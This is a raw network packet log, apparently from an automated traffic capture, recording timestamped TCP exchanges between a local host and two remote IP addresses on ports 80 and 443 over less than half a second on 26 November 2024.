Nov 26, 2024 01:41:44.400094986 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.400193930 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:44.401067972 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.401201963 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.401247025 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:44.402157068 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.402214050 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:44.402255058 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.402436972 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:44.403240919 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.403296947 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:44.403352976 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.403512955 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:44.404340982 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.404395103 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:44.404445887 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.404589891 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:44.405421019 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.405493021 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:44.405586004 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.405693054 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:44.406531096 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.406589031 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:44.406629086 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.406666040 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:44.407608032 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.407668114 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:44.407790899 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.407877922 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:44.408710957 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.408786058 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:44.408818007 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.408859015 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:44.409789085 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.409859896 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:44.409907103 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.409954071 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:44.410876989 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.410985947 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.410996914 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:44.411169052 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:44.411947012 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.412017107 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:44.412058115 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.412097931 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:44.413039923 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.413089037 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:44.413146019 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.413249969 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:44.414130926 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.414180994 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:44.414236069 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.414293051 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:44.415239096 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.415287018 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:44.415338993 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.415386915 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:44.416295052 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.416369915 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:44.451268911 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.451332092 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:44.451353073 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.451431036 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:44.451765060 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.451814890 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:44.451850891 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.451889992 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:44.452481031 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.452527046 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:44.452570915 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.452637911 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:44.453604937 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.453674078 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:44.453722954 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.453763962 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:44.454688072 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.454751015 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:44.454788923 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.454898119 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:44.455737114 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.455785990 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:44.523422003 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.523463011 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.523485899 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:44.523515940 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:44.523900986 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.523960114 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:44.524113894 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.524183035 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:44.524260998 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.524403095 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:44.525218964 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.525270939 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:44.525314093 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.525358915 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:44.526305914 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.526381016 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:44.526417017 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.526462078 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:44.527368069 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.527432919 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:44.527471066 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.527509928 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:44.528481960 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.528529882 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:44.528620958 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.528672934 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:44.529620886 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.529673100 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.529695988 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:44.529707909 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:44.530642033 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.530688047 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:44.530733109 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.530813932 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:44.531723022 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.531816006 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.531864882 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:44.532809973 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.532854080 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:44.532896996 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.532946110 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:44.533914089 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.533972025 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.533996105 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:44.534024000 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:44.534998894 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.535074949 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:44.535118103 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.535224915 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:44.536082029 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.536144018 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:44.536192894 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.536331892 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:44.537177086 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.537228107 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:44.537270069 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.537313938 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:44.538280964 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.538340092 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:44.538388014 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.538433075 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:44.539351940 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.539407015 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:44.539448023 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.539494038 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:44.540473938 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.540518999 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:44.540561914 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.540671110 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:44.541543007 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.541632891 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:44.541671991 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.541729927 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:44.542625904 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.542689085 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:44.542725086 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.542767048 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:44.543709040 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.543787956 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:44.543818951 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.543864012 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:44.544886112 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.544929028 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.544941902 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:44.544975042 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:44.545888901 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.545943022 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:44.545985937 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.546030045 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:44.546972036 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.547039032 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:44.547091007 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.547130108 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:44.548086882 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.548150063 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:44.548190117 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.548228979 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:44.549158096 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.549220085 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:44.549263000 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.549304008 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:44.550250053 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.550354958 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.550371885 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:44.550400972 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:44.551333904 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.551414013 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:44.551449060 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.551490068 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:44.552411079 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.552500010 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:44.552529097 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.552576065 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:44.553512096 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.553581953 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:44.553626060 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.553853989 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:44.554620981 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.554639101 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.554686069 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:44.554722071 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:44.595045090 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.595108986 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.595172882 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:44.595388889 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.595504999 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.595561981 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:44.595581055 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:44.596353054 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.596400976 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:44.596443892 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.596479893 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:44.597284079 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.597342968 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:44.597383022 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.597421885 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:44.598191023 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.598244905 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:44.598288059 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.598321915 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:44.599143982 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.599195004 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:44.599241972 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.599335909 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:44.600058079 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.600125074 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:44.600172043 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.600208998 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:44.600991964 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.601051092 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:44.601100922 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.601146936 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:44.601929903 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.601996899 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:44.602039099 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.602077961 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:44.602915049 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.603013039 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.603012085 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:44.603050947 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:44.603813887 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.603877068 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:44.603926897 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.603970051 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:44.604732990 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.604799986 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:44.604851961 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.604888916 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:44.605654955 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.605695963 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:44.605772018 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.605879068 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:44.606606007 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.606657982 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:44.606720924 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.606878996 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:44.607569933 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.607625961 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:44.607667923 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.607866049 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:44.608443022 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.608490944 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:44.608648062 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.608745098 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:44.609373093 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.609431982 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:44.609479904 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.609793901 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:44.610295057 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.610416889 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.610450983 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:44.610486984 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:44.611226082 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.611341953 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.611402035 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:44.612153053 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.612219095 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:44.612258911 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.612307072 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:44.652956009 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.653033018 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:44.653065920 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.653112888 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:44.653412104 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.653476000 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.653522968 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:44.654126883 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.654172897 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:44.654218912 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.654258013 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:44.655078888 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.655131102 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:44.655160904 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.655204058 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:44.684547901 CET	443	49877	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:44.684747934 CET	443	49877	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:44.684808016 CET	49877	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:44.685245991 CET	49877	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:44.685264111 CET	443	49877	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:44.685281992 CET	49877	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:44.685290098 CET	443	49877	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:44.690459013 CET	49892	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:44.690481901 CET	443	49892	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:44.690777063 CET	49892	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:44.691055059 CET	49892	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:44.691068888 CET	443	49892	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:44.694217920 CET	443	49879	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:44.694315910 CET	443	49879	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:44.694401026 CET	49879	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:44.694699049 CET	49879	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:44.694714069 CET	443	49879	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:44.694736958 CET	49879	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:44.694741964 CET	443	49879	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:44.698077917 CET	49893	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:44.698102951 CET	443	49893	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:44.698331118 CET	49893	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:44.698527098 CET	49893	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:44.698537111 CET	443	49893	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:44.701827049 CET	443	49878	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:44.701890945 CET	443	49878	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:44.702131987 CET	49878	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:44.702909946 CET	49878	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:44.702930927 CET	443	49878	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:44.702945948 CET	49878	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:44.702950954 CET	443	49878	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:44.711077929 CET	49894	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:44.711100101 CET	443	49894	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:44.711174011 CET	49894	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:44.711440086 CET	49894	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:44.711453915 CET	443	49894	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:44.726865053 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.726933002 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:44.726949930 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.726996899 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:44.727324009 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.727363110 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:44.727443933 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:44.727509022 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:44.728238106 CET	80	49813	185.215.113.206	192.168.2.6
